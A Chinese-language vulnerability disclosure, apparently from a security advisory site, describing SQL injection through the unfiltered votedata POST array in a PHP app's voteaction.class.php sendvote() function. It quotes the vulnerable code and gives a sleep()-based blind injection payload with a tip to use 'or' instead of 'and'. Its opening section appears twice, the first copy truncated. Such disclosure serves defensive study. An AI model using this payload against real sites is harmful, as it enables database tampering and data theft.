### 简要描述: 过滤不严。 ### 详细说明: 在voteaction.class.php中 ``` public function sendvote() { $vid=intval($_POST['vid']); $votedata=$_POST['votedata']; $isret=intval($_POST['isret']); $isnone=intval($_POST['isnone']); if ($vid) { if (is_array($votedata)) { $vmodel=D('Votes'); $vopt=D('Voteoptions'); $vuser=D('Voteusers'); $myvote=$vuser->where("vote_id='$vid' AND user_id='".$this->my['user_id']."'")->find(); $thevote=$vmodel->where("id='$vid'")->find(); if ($thevote) { if ($myvote) { $ret=array('ret'=>'error','msg'=>L('vote_voted')); } else { if ($thevote['last_time']<=time()) { $ret=array('ret'=>'error','msg'=>L('vote_already_over')); } else { $vmodel->where("id='$vid'")->setInc('votetimes'); foreach($votedata as $val) { if ($val) { $options[]=$val; $vopt->where("id='$val' AND vote_id='$vid'")->setInc('optiontimes'); } } ``` $vid 转整了 无法利用 $votedata=$_POST['votedata']; 未过滤。 然后如果他为数组 就进那个if 然后遍历出 然后带入查询。 UPDATE `et_voteoptions` SET `optiontimes`=optiontimes+1 WHERE id='123' AND vote_id='1'...
### 简要描述: 过滤不严。 ### 详细说明: 在voteaction.class.php中 ``` public function sendvote() { $vid=intval($_POST['vid']); $votedata=$_POST['votedata']; $isret=intval($_POST['isret']); $isnone=intval($_POST['isnone']); if ($vid) { if (is_array($votedata)) { $vmodel=D('Votes'); $vopt=D('Voteoptions'); $vuser=D('Voteusers'); $myvote=$vuser->where("vote_id='$vid' AND user_id='".$this->my['user_id']."'")->find(); $thevote=$vmodel->where("id='$vid'")->find(); if ($thevote) { if ($myvote) { $ret=array('ret'=>'error','msg'=>L('vote_voted')); } else { if ($thevote['last_time']<=time()) { $ret=array('ret'=>'error','msg'=>L('vote_already_over')); } else { $vmodel->where("id='$vid'")->setInc('votetimes'); foreach($votedata as $val) { if ($val) { $options[]=$val; $vopt->where("id='$val' AND vote_id='$vid'")->setInc('optiontimes'); } } ``` $vid 转整了 无法利用 $votedata=$_POST['votedata']; 未过滤。 然后如果他为数组 就进那个if 然后遍历出 然后带入查询。 UPDATE `et_voteoptions` SET `optiontimes`=optiontimes+1 WHERE id='123' AND vote_id='1' 所执行的语句 123那里可控 然后 要注入话 这样 UPDATE `et_voteoptions` SET `optiontimes`=optiontimes+1 WHERE id='123' and id=sleep(5)#AND vote_id='1' 但是发现执行后 变成了 UPDATE `et_voteoptions` SET `optiontimes`=optiontimes+1 WHERE id='123' and id=sleep(10) #' AND vote_id='1' and 的a不知道怎么变了 。。 那就用or把。 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201402/13155601eceb1bb963c4a61928da0404b0021901.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/13155601eceb1bb963c4a61928da0404b0021901.jpg) [<img src="https://images.seebug.org/upload/201402/1315562062ad5d17c768244c9895294187a074c9.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/1315562062ad5d17c768244c9895294187a074c9.jpg) [<img src="https://images.seebug.org/upload/201402/1315563211d28b0ee3bd9e92c7f94e00b1234283.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/1315563211d28b0ee3bd9e92c7f94e00b1234283.jpg)